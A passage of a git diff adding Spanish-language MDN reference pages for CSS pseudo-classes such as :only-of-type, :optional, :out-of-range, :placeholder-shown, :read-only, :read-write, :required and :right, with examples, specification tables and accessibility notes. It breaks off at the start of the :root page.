+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{Cssxref(":only-of-type")}}</li>
+ <li>{{Cssxref(":first-child")}}</li>
+ <li>{{Cssxref(":last-child")}}</li>
+ <li>{{Cssxref(":nth-child")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_only-of-type/index.html b/files/es/web/css/_colon_only-of-type/index.html
new file mode 100644
index 0000000000..36d26b5fea
--- /dev/null
+++ b/files/es/web/css/_colon_only-of-type/index.html
@@ -0,0 +1,97 @@
+---
+title: ':only-of-type'
+slug: 'Web/CSS/:only-of-type'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:only-of-type'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:only-of-type</code></strong> <a href="/es/docs/Web/CSS">CSS</a> representa un elemento que no tiene hermanos del mismo tipo.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cada &lt;p&gt;, pero solo si es el único */
+/* elemento &lt;p&gt; dentro de su padre */
+p:only-of-type {
+  background-color: lime;
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Como se definió originalmente, el elemento seleccionado tenía que tener un padre. Comenzando con el Nivel 4 de Selectores, esto ya no es necesario.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;main&gt;
+  &lt;div&gt;Soy un `div` #1.&lt;/div&gt;
+  &lt;p&gt;Yo soy el único `p` entre mis hermanos.&lt;/p&gt;
+  &lt;div&gt;Soy un `div` #2.&lt;/div&gt;
+  &lt;div&gt;Soy un `div` #3.
+    &lt;i&gt;Yo soy el único hijo `i`.&lt;/i&gt;
+    &lt;em&gt;Soy un `em` #1.&lt;/em&gt;
+    &lt;em&gt;Soy un `em` #2.&lt;/em&gt;
+  &lt;/div&gt;
+&lt;/main&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">main :only-of-type {
+  color: red;
+}
+</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample('Ejemplo','100%',180)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#only-of-type-pseudo', ':only-of-type')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Los elementos coincidentes no requieren tener un padre.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#only-of-type-pseudo', ':only-of-type')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.only-of-type")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{Cssxref(":only-child")}}</li>
+ <li>{{Cssxref(":first-of-type")}}</li>
+ <li>{{Cssxref(":last-of-type")}}</li>
+ <li>{{Cssxref(":nth-of-type")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_optional/index.html b/files/es/web/css/_colon_optional/index.html
new file mode 100644
index 0000000000..2efdc61674
--- /dev/null
+++ b/files/es/web/css/_colon_optional/index.html
@@ -0,0 +1,91 @@
+---
+title: ':optional'
+slug: 'Web/CSS/:optional'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:optional'
+---
+<div>{{ CSSRef }}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:optional</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> representa cualquier elemento {{HTMLElement("input")}}, {{HTMLElement("select")}}, o {{HTMLElement("textarea")}} que no tenga el atributo {{ htmlattrxref("required", "input") }} establecido en él.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier opción &lt;input&gt; */
+input:optional {
+  border: 1px dashed black;
+}</pre>
+
+<p>Esta pseudo-clase es útil para diseñar campos que no son necesarios para enviar un formulario.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> La pseudo-clase {{cssxref(":required")}} selecciona los campos de formulario <em>requeridos</em>.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Ver {{cssxref(":invalid")}} para un ejemplo.</p>
+
+<h2 id="Problemas_de_accesibilidad">Problemas de accesibilidad</h2>
+
+<p>Si un <a href="/es/docs/Web/HTML/Element/form">formulario</a> contiene {{htmlelement("input")}}s opcionales, las entradas requeridas deben indicarse utilizando el atributo {{ htmlattrxref("required", "input") }}. Esto se asegurará de que las personas que navegan con la ayuda de la tecnología de asistencia, como un lector de pantalla, puedan comprender qué entradas necesitan contenido válido para garantizar el envío exitoso del formulario.</p>
+
+<p>Las entradas requeridas también deben indicarse visualmente, utilizando un tratamiento que no dependa únicamente del color para transmitir el significado. Por lo general, se utilizan textos descriptivos y/o un icono.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Understandable#Guideline_3.3_%E2%80%94_Input_Assistance_Help_users_avoid_and_correct_mistakes">MDN Understanding WCAG, Guideline 3.3 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/minimize-error-cues.html">Understanding Success Criterion 3.3.2 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', '#selector-optional', ':optional') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', '#selector-optional', ':optional') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>Define la semántica de HTML y la validación de restricciones.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#opt-pseudos', ':optional') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Basic UI', '#pseudo-required-value', ':optional') }}</td>
+   <td>{{ Spec2('CSS3 Basic UI') }}</td>
+   <td>Define la pseudoclase, pero no la semántica asociada.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("css.selectors.optional")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Otras pseudo-clases relacionadas con la validación: {{ cssxref(":required") }}, {{ cssxref(":invalid") }}, {{ cssxref(":valid") }}</li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Form_validation">Validación de datos de formulario</a></li>
+</ul>
diff --git a/files/es/web/css/_colon_out-of-range/index.html b/files/es/web/css/_colon_out-of-range/index.html
new file mode 100644
index 0000000000..2ed8e84372
--- /dev/null
+++ b/files/es/web/css/_colon_out-of-range/index.html
@@ -0,0 +1,116 @@
+---
+title: ':out-of-range'
+slug: 'Web/CSS/:out-of-range'
+tags:
+  - CSS
+  - Presentación
+  - Pseudo-Clase CSS
+  - Referencia CSS
+  - Web
+translation_of: 'Web/CSS/:out-of-range'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:out-of-range</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> representa un elemento {{htmlelement("input")}} cuyo valor actual está fuera de los límites de rango especificados por los atributos {{htmlattrxref("min", "input")}} y {{htmlattrxref("max","input")}}.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier &lt;input&gt;, pero solo cuando tiene un
+   rango especificado, y su valor está fuera de ese rango */
+input:out-of-range {
+  background-color: rgba(255, 0, 0, 0.25);
+}</pre>
+
+<p>Esta pseudo-clase es útil para dar al usuario una indicación visual de que el valor actual de un campo está fuera de los límites permitidos.</p>
+
+<div class="note"><strong>Nota:</strong> Esta pseudo-clase solo se aplica a los elementos que tienen (y pueden tomar) una limitación de rango. En ausencia de tal limitación, el elemento no puede estar "dentro del rango" ni "fuera de rango".</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo" name="Ejemplo">Ejemplo</h2>
+
+<div id="example">
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form action="" id="form1"&gt;
+  &lt;ul&gt;Los valores entre 1 y 10 son válidos.
+    &lt;li&gt;
+      &lt;input id="value1" name="value1" type="number" placeholder="1 a 10" min="1" max="10" value="12"&gt;
+      &lt;label for="value1"&gt;Tu valor esta &lt;/label&gt;
+    &lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css;">li {
+  list-style: none;
+  margin-bottom: 1em;
+}
+
+input {
+  border: 1px solid black;
+}
+
+input:in-range {
+  background-color: rgba(0, 255, 0, 0.25);
+}
+
+input:out-of-range {
+  background-color: rgba(255, 0, 0, 0.25);
+  border: 2px solid red;
+}
+
+input:in-range + label::after {
+  content: 'bien.';
+}
+
+input:out-of-range + label::after {
+  content: '¡fuera de rango!';
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+</div>
+
+<div>{{EmbedLiveSample('Ejemplo', 600, 140)}}</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-out-of-range', ':out-of-range')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Define cuándo <code>:out-of-range</code> coincide con los elementos en HTML.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#out-of-range-pseudo', ':out-of-range')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("css.selectors.out-of-range")}}</p>
+</div>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{cssxref(":in-range")}}</li>
+ <li><a href="/es/docs/Learn/HTML/Forms/Form_validation">Validación de datos de formulario</a></li>
+</ul>
diff --git a/files/es/web/css/_colon_placeholder-shown/index.html b/files/es/web/css/_colon_placeholder-shown/index.html
new file mode 100644
index 0000000000..9a113639b6
--- /dev/null
+++ b/files/es/web/css/_colon_placeholder-shown/index.html
@@ -0,0 +1,97 @@
+---
+title: ':placeholder-shown'
+slug: 'Web/CSS/:placeholder-shown'
+tags:
+  - CSS
+  - Experimental
+  - Pseudo-clase
+  - Referencia
+translation_of: 'Web/CSS/:placeholder-shown'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La <a href="/es/docs/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:placeholder-shown</code></strong> de <a href="/es/docs/Web/CSS">CSS</a>  representa cualquier elemento {{htmlElement("input")}} o {{htmlElement("textarea")}} que esté mostrando actualmente el <a href="/es/docs/Web/HTML/Element/input#attr-placeholder">texto de marcador de posición (placeholder)</a>.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier elemento con un placeholder activo */
+:placeholder-shown {
+  border: 2px solid silver;
+}</pre>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_básico">Ejemplo básico</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;input placeholder="¡Escribe algo aquí!"&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; highlight[6]">input {
+  border: 2px solid black;
+  padding: 3px;
+}
+
+input:placeholder-shown {
+  border-color: silver;
+}</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample("Ejemplo_básico", 200, 60)}}</p>
+
+<h3 id="Texto_desbordante">Texto desbordante</h3>
+
+<p>En pantallas angostas como teléfonos inteligentes, el ancho de los cuadros de búsqueda y otros campos de formulario pueden acortarse drásticamente. Esto puede provocar que el texto de marcador de posición se recorte de una manera no deseada. A menudo es útil alterar este comportamiento con la propiedad {{cssxref("text-overflow")}}.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;input placeholder="¡Ingresa algo en este campo, por favor!"&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">input:placeholder-shown {
+  text-overflow: ellipsis;
+}</pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p>{{EmbedLiveSample("Texto_desbordante", 200, 60)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#placeholder", ":placeholder-shown")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("css.selectors.placeholder-shown")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>El pseudo-elemento {{cssxref("::placeholder")}} estiliza el placeholder <em>por sí mismo</em>.</li>
+ <li>Elementos HTML relacionados: {{HTMLElement("input")}}, {{HTMLElement("textarea")}}</li>
+ <li>{{cssxref(":-moz-placeholder")}}, {{cssxref("::-moz-placeholder")}}</li>
+ <li><a href="/es/docs/Learn/HTML/Forms">Formularios HTML</a></li>
+</ul>
diff --git a/files/es/web/css/_colon_read-only/index.html b/files/es/web/css/_colon_read-only/index.html
new file mode 100644
index 0000000000..a97724cdf8
--- /dev/null
+++ b/files/es/web/css/_colon_read-only/index.html
@@ -0,0 +1,100 @@
+---
+title: ':read-only'
+slug: 'Web/CSS/:read-only'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:read-only'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:read-only</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> representa un elemento que ya no es editable por el usuario (como un <a href="/es/docs/Web/HTML/Element/input">input</a>).</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier &lt;input&gt; que está en modo de solo lectura */
+/* Soportado en Firefox usando prefijo */
+input:-moz-read-only {
+  background-color: #ccc;
+}
+
+/* El prefijo no es necesario en navegadores basados en Blink/WebKit/Edge  */
+p:read-only {
+  cursor: not-allowed;
+}
+input:read-only {
+  background-color: #ccc;
+}   </pre>
+
+<div class="note">
+<p><strong>Nota</strong>: El selector no solo selecciona {{htmlElement("input")}} marcados como  {{htmlattrxref("readonly", "input")}}; también selecccionará cualquier elemento que no pueda ser editar por el usuario.  Lea sobre el atributo <a href="/es/docs/Web/HTML/Global_attributes/contenteditable">contenteditable</a>.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">:read-only</pre>
+
+<h2 id="Ejemplo" name="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="text" value="Aquí puedes poner lo que quieras."&gt;
+&lt;input type="text" value="Campo de solo lectura." readonly&gt;
+&lt;p&gt;Este es un párrafo normal.&lt;/p&gt;
+&lt;p contenteditable="true"&gt;Puedes editar este párrafo, ¡inténtalo!&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input { min-width: 25em; }
+input:-moz-read-only { background: cyan; }
+input:read-only { background: cyan; }
+
+p:-moz-read-only { background: lightgray; }
+p:read-only { background: lightgray; }
+p[contenteditable="true"] { color: blue; }
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Ejemplo")}}</p>
+
+<h2 class="editable" id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', '#selector-read-only', ':read-only') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', '#selector-read-only', ':read-only') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>Define la semántica relacionada con HTML y de la validación de las restricciones.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#rw-pseudos', ':read-only') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Define la pseudoclase, pero no la semántica asociada.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("css.selectors.read-only")}}</p>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{cssxref(":read-write")}}</li>
+ <li>Atributo HTML {{htmlattrxref("contenteditable")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_read-write/index.html b/files/es/web/css/_colon_read-write/index.html
new file mode 100644
index 0000000000..404b97ce79
--- /dev/null
+++ b/files/es/web/css/_colon_read-write/index.html
@@ -0,0 +1,99 @@
+---
+title: ':read-write'
+slug: 'Web/CSS/:read-write'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:read-write'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="https://developer.mozilla.org/es/docs/CSS/Pseudo-classes" rel="nofollow">pseudo-clase</a> <strong><code>:read-write</code></strong> de <a href="https://developer.mozilla.org/es/docs/Web/CSS">CSS</a> representa un elemento (como un <a href="https://developer.mozilla.org/es/docs/Web/HTML/Element/input" rel="nofollow">input</a>) que es editable por el usuario.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier elemento &lt;input&gt; que sea editable */
+/* Compatible con Firefox con un prefijo */
+input:-moz-read-write {
+  background-color: #bbf;
+}
+
+/* Compatible con Blink/WebKit/Edge sin un prefijo */
+input:read-write {
+  background-color: #bbf;
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Este selector no solo selecciona texto de {{htmlElement("input")}}; seleccionará <em>cualquier</em> elemento que pueda editar el usuario, como un elemento {{htmlelement("p")}} con {{htmlattrxref("contenteditable")}} establecido en él.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo" name="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="text" value="Escribe lo que quieras aquí."&gt;
+&lt;input type="text" value="Este es un campo de solo lectura." readonly&gt;
+&lt;p&gt;Este es un párrafo normal.&lt;/p&gt;
+&lt;p contenteditable="true"&gt;¡Puedes editar este párrafo!&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css line-numbers  language-css">input { min-width: 25em; }
+input:-moz-read-write { background: cyan; }
+input:read-write { background: cyan; }
+
+p:-moz-read-write { background: lightgray; }
+p:read-write { background: lightgray; }
+p[contenteditable="true"] { color: blue; }
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Ejemplo")}}</p>
+
+<h2 class="editable" id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', '#selector-read-write', ':read-write') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', '#selector-read-write', ':read-write') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>Define la semántica con respecto a HTML y validación de restricciones.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#rw-pseudos', ':read-write') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Define la pseudo-clase, pero no la semántica asociada.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("css.selectors.read-write")}}</p>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{cssxref(":read-only")}}</li>
+ <li>Atributo HTML {{htmlattrxref("contenteditable")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_required/index.html b/files/es/web/css/_colon_required/index.html
new file mode 100644
index 0000000000..2dd6458012
--- /dev/null
+++ b/files/es/web/css/_colon_required/index.html
@@ -0,0 +1,91 @@
+---
+title: ':required'
+slug: 'Web/CSS/:required'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:required'
+---
+<div>{{ CSSRef }}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:required</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> representa cualquier elemento {{HTMLElement("input")}}, {{HTMLElement("select")}}, o {{HTMLElement("textarea")}} que tenga el atributo {{ htmlattrxref("required", "input") }} establecido en él.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier &lt;input&gt; requerido */
+input:required {
+  border: 1px dashed red;
+}</pre>
+
+<p>Esta pseudo-clase es útil para resaltar campos que deben tener datos válidos antes de que se pueda enviar un formulario.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> La pseudoclase {{cssxref(":optional")}} selecciona campos de formulario <em>opcionales</em>.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Ver {{cssxref(":invalid")}} para un ejemplo.</p>
+
+<h2 id="Problemas_de_accesibilidad">Problemas de accesibilidad</h2>
+
+<p>Obligatoriamente los {{htmlelement("input")}} deben tener el atributo {{ htmlattrxref("required", "input") }} aplicado a ellos. Esto asegurará que las personas que navegan con la ayuda de tecnología de asistencia, como un lector de pantalla, puedan comprender qué entradas necesitan contenido válido para garantizar un envío exitoso.</p>
+
+<p>Si el formulario también contiene entradas opcionales, las entradas requeridas deben indicarse visualmente utilizando un tratamiento que no dependa únicamente del color para transmitir el significado. Normalmente, se utilizan texto descriptivo y / o un icono.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Understandable#Guideline_3.3_%E2%80%94_Input_Assistance_Help_users_avoid_and_correct_mistakes">MDN Comprender las WCAG, explicaciones de la Guía 3.3</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/minimize-error-cues.html" rel="noopener">Comprender el Criterio de Conformidad 3.3.2 | W3C Comprender WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', '#selector-required', ':required') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', '#selector-required', ':required') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>Define la semántica de HTML y la validación de restricciones.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#opt-pseudos', ':required') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Basic UI', '#pseudo-required-value', ':required') }}</td>
+   <td>{{ Spec2('CSS3 Basic UI') }}</td>
+   <td>Define la pseudo-clase, pero no la semántica asociada.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("css.selectors.required")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Otras pseudo-clases relacionadas con la validación: {{ cssxref(":optional") }}, {{ cssxref(":invalid") }}, {{ cssxref(":valid") }}</li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Form_validation">Validación de datos de formulario</a></li>
+</ul>
diff --git a/files/es/web/css/_colon_right/index.html b/files/es/web/css/_colon_right/index.html
new file mode 100644
index 0000000000..97490676a3
--- /dev/null
+++ b/files/es/web/css/_colon_right/index.html
@@ -0,0 +1,78 @@
+---
+title: ':right'
+slug: 'Web/CSS/:right'
+tags:
+  - '@page'
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:right'
+---
+<div>{{ CSSRef() }}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <a href="/es/docs/Web/CSS">CSS</a> <strong><code>:right</code></strong>, utilizada con la <a href="/es/docs/Web/CSS/At-rule">regla-at</a> {{cssxref("@page")}}, representa todas las páginas de la derecha de un documento impreso.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier página de la derecha al imprimir */
+@page :right {
+  margin: 2in 3in;
+}</pre>
+
+<p>Que una página dada sea "izquierda" o "derecha" está determinada por la dirección principal de escritura del documento. Por ejemplo, si la primera página tiene una dirección de escritura principal de izquierda a derecha, entonces será una página <code>:right</code>; si tiene una dirección de escritura principal de derecha a izquierda, entonces será una página {{Cssxref(":left")}}.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> No puede cambiar todas las propiedades de CSS con esta pseudo-clase. Solo puede cambiar las propiedades {{ Cssxref("margin") }}, {{ Cssxref("padding") }}, {{ Cssxref("border") }}, y {{ Cssxref("background") }} de la caja de página. Se ignorarán todas las demás propiedades y solo se verá afectada la caja de página, no el contenido del documento en la página.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css">@page :right {
+  margin: 2in 3in;
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Paged Media', '#left-right-first', ':right') }}</td>
+   <td>{{ Spec2('CSS3 Paged Media') }}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'page.html#page-selectors', ':right') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p> </p>
+
+
+
+<p>{{Compat("css.selectors.right")}}</p>
+
+<p> </p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{ Cssxref("@page") }}</li>
+ <li>Otras páginas relacionadas con la pseudo-clases: {{ Cssxref(":first") }}, {{ Cssxref(":left") }}</li>
+</ul>
diff --git a/files/es/web/css/_colon_root/index.html b/files/es/web/css/_colon_root/index.html
new file mode 100644
index 0000000000..5c5bc5e192
--- /dev/null
+++ b/files/es/web/css/_colon_root/index.html
@@ -0,0 +1,64 @@
+---
+title: ':root'
+slug: 'Web/CSS/:root'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:root'
+---
+<div>{{CSSRef}}</div>
+
